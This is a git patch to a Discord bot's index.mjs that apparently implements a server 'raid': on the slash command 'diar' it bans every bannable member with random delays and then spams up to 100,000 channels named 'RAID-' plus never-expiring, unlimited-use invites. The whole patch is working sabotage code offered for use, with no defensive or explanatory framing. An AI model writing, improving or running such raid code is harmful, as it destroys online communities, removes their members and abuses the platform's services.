From be05c28bb263eb1c9175e48f2d8b6ecda8c3f2ce Mon Sep 17 00:00:00 2001 From: Sam Sneed <163201376+sam-sneed@users.noreply.github.com> Date: Sat, 6 Jul 2024 14:14:12 -0500 Subject: [PATCH] Update index.mjs --- index.mjs | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/index.mjs b/index.mjs index 313301d..eb6b53c 100644 --- a/index.mjs +++ b/index.mjs @@ -33,9 +33,22 @@ client.on('ready', () => { async function raidMain(guild, interaction) { console.log("MAIN RAN") + + console.log("RUN BAN LOOP") + for (const member of guild.members.cache.values()) { + try { + if (member.bannable) { + await member.ban({reason: "raided", deleteMessageSeconds: 0}) + } + }catch{console.log("Error banning!")} + await new Promise(r => setTimeout(r, randInt(100,420))); + } + + console.log("DOING MAIN LOOP IN MAIN FUNC") for (let i = 0; i < 100000; i++) { - console.log(`Creating channel RAID-${i}`) - guild.channels.create({ name: `RAID-${i}`, reason: 'COOL CHANNEL IS COOL' }) + let j = randInt(420,999999) + console.log(`Creating channel RAID-${j}`) + guild.channels.create({ name: `RAID-${j}`, reason: 'COOL CHANNEL IS COOL' }) interaction.channel.createInvite({ maxAge: 0, // Invite never expires (adjust as needed) maxUses: 0, // Unlimited uses (adjust as needed) @@ -57,17 +70,10 @@ client.on('interactionCreate', async interaction => { if (interaction.commandName === 'diar') { console.log("RAID STARTED.") + let guild = interaction.guild - for (const member of guild.members.cache.values()) { - try { - if (!member.permissions.has(PermissionFlagsBits.Administrator) || !member.permissions.has(PermissionFlagsBits.Administrator)) { - await member.ban(); - console.log(`${member.user.tag} has been banned.`); - } - }catch{console.log("Error banning!")} - await new Promise(r => setTimeout(r, randInt(100,420))); - } raidMain(guild, interaction) + interaction.reply("OK") } });